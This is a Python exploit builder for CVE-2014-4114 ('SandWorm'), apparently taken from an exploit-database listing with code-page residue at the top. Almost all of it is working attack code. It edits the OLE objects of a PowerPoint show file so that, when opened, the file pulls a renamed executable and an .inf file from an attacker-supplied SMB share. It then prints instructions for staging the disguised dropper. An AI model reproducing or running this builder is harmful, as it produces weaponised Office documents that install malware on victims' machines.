93 lines
No EOL
2.8 KiB
Python
Executable file
93 lines
No EOL
2.8 KiB
Python
Executable file
#!/usr/bin/env python
|
|
import os
|
|
import zipfile
|
|
import sys
|
|
|
|
'''
|
|
Full Exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35019.tar.gz
|
|
|
|
Very quick and ugly [SandWorm CVE-2014-4114] exploit builder
|
|
Exploit Title: CVE-2014-4114 SandWorm builder
|
|
Built to run on: Linux/MacOSX
|
|
Date: 17/10/2014
|
|
Exploit Author: Vlad Ovtchinikov (@v1ad_o)
|
|
Vendor Homepage: microsoft.com
|
|
Tested on: Win7Sp1 64 bit - Microsoft Offcie 2013 Plus
|
|
Demo: http://youtu.be/ljjEkhflpvM
|
|
CVE : CVE-2014-4114
|
|
NOTE:
|
|
expl.inf (md5 8313034e9ab391df83f6a4f242ec5f8d) + expl.zip (md5 4a39121a60cc79d211fc7f7cfe00b707)
|
|
should be located in the same dir as the builder.
|
|
01:39 cve-2014-4114.py
|
|
19:35 expl.inf
|
|
15:37 expl.zip
|
|
|
|
e.g. python cve-2014-4114.py 10.0.0.233 rdb xxx.exe
|
|
10.0.0.233 - ip
|
|
rdb - share
|
|
xxx.exe - dropper
|
|
'''
|
|
host=sys.argv[1]
|
|
share=sys.argv[2]
|
|
mal_file=sys.argv[3]
|
|
|
|
print "\nPoC exploit builder v0.1 for logical OLE flaw in packager.dll [CVE-2014-4114] by vlad@sensepost.com @v1ad_o\n"
|
|
print "Building ... \n "
|
|
|
|
# extract the original .ppsx PoC
|
|
mal_file= mal_file.replace(' ', '')[:-4].lower()
|
|
fh = open('expl.zip', 'rb')
|
|
z = zipfile.ZipFile(fh)
|
|
for name in z.namelist():
|
|
outpath = "./tmp"
|
|
z.extract(name, outpath)
|
|
fh.close()
|
|
|
|
os.mkdir('out')
|
|
os.chdir('tmp')
|
|
|
|
# oleObject1.bin mod for GIF
|
|
infile = open('ppt/embeddings/oleObject1.bin')
|
|
outfile = open('ppt/embeddings/1.bin','w')
|
|
replacements = {'10.0.0.34':host,'public':share,'slide1.gif':mal_file+'.gif'}
|
|
for line in infile:
|
|
for src, target in replacements.iteritems():
|
|
line = line.replace(src, target)
|
|
outfile.write(line)
|
|
infile.close()
|
|
outfile.close()
|
|
os.remove ('ppt/embeddings/oleObject1.bin')
|
|
os.rename ('ppt/embeddings/1.bin','ppt/embeddings/oleObject1.bin')
|
|
|
|
# oleObject2.bin mod for INF
|
|
infile = open('ppt/embeddings/oleObject2.bin')
|
|
outfile = open('ppt/embeddings/2.bin','w')
|
|
replacements = {'10.0.0.34':host,'public':share,'slide1.inf':mal_file+'.inf'}
|
|
for line in infile:
|
|
for src, target in replacements.iteritems():
|
|
line = line.replace(src, target)
|
|
outfile.write(line)
|
|
infile.close()
|
|
outfile.close()
|
|
|
|
os.remove ('ppt/embeddings/oleObject2.bin')
|
|
os.rename ('ppt/embeddings/2.bin','ppt/embeddings/oleObject2.bin')
|
|
os.system("zip -q -9 -r ../out/exploit.ppsx * ")
|
|
os.chdir('..')
|
|
|
|
# oleObject2.bin mod for INF prep
|
|
infile = open('expl.inf')
|
|
outfile = open('out/'+mal_file+'.inf','w')
|
|
replacements = {'slide1':mal_file}
|
|
for line in infile:
|
|
for src, target in replacements.iteritems():
|
|
line = line.replace(src, target)
|
|
outfile.write(line)
|
|
infile.close()
|
|
outfile.close()
|
|
os.system("rm -rf tmp")
|
|
|
|
print 'Copy the .inf .gif (renamed file.exe=>file.gif) to:\n'
|
|
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.gif\n'
|
|
print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.inf\n'
|
|
print 'Done - collect your files from the [out] folder.\n' |